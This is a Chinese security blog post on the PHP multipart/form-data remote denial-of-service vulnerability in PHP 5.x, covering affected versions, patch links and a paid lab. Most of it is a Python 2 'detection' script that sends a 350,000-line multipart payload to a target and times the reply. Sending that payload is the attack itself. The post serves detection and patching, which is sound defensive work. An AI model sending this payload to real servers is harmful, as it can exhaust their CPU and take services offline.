浅谈“PHP multipart/form-data 远程DOS漏洞”

一:漏洞名称:

PHP multipart/form-data 远程DOS漏洞

描述:

PHP 在处理HTTP请求中的multipart/form-data头部数据时存在一个安全漏洞,导致PHP大量重复分配和拷贝内存的操作,可能造成CPU资源占用100%并持续较长时间,这可能造成远程拒绝服务攻击。受影响的软件及系统:PHP 5.0.0 - 5.0.5;PHP 5.1.0 - 5.1.6;PHP 5.2.0 - 5.2.17;PHP 5.3.0 - 5.3.29;PHP 5.4.0 - 5.4.40;PHP 5.5.0 - 5.5.24;PHP 5.6.0 - 5.6.8

漏洞原理参考:https://www.secpulse.com/archives/32023.html

检测条件:

  1. Web业务运行正常。
  2. 网站采用了存在漏洞php中间件版本。

检测方法:

1.通过检测系统 ,进行检测。(暂无)

通过执行python脚本进行检测,相关代码参考如下:

'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: liusscs@163.com
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser

def http_proxy(proxy_url):

    proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
#end http_proxy

def check_php_multipartform_dos(url,post_body,headers):
	req = urllib2.Request(url)
	for key in headers.keys():
		req.add_header(key,headers[key])
	starttime = datetime.datetime.now();
	fd = urllib2.urlopen(req,post_body)
	html = fd.read()
	endtime = datetime.datetime.now()
	usetime=(endtime - starttime).seconds
	if(usetime > 5):
		result = url+" is vulnerable";
	else:
		if(usetime > 3):
			result = "need to check normal respond time"
	return [result,usetime]
#end


def main():
    #http_proxy("http://127.0.0.1:8089")
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store",
                  dest="target",
                  default=False,
		  type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    if(options.target):
	target = options.target
    else:
	return;

    Num=350000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "a\n"
    body = body + payload;
    body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    respond=check_php_multipartform_dos(target,body,headers)
    print "Result : "
    print respond[0]
    print "Respond time : "+str(respond[1]) + " seconds";

if __name__=="__main__":
    main()

脚本检测效果如下:

漏洞修复:

PHP官方已经针对PHP 5.4 及PHP 5.5版本给出了补丁,请使用这些版本的用户,尽快到官方网站下载并安装补丁,补丁的下载地址如下:http://php.net/ChangeLog-5.php#5.4.41;http://php.net/ChangeLog-5.php#5.5.25,如果使用其他的版本,请持续关注官方补丁更新信息,其次,IT人员需要从业务稳定性、危害程度和范围及重要性等多个维度综合考虑,制定整改时间计划表,权重由高到低依次对局部网络及主机设备或某业务系统设备展开整改和加固工作(建议邀请漏洞相关厂商及安全厂商一同参与)。

其他补充说明:

在线环境复现练习:(并不是免费的)

https://www.hetianlab.com/expc.do?w=exp_ass&ec=ECID9d6c0ca797abec2016040616113700001

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值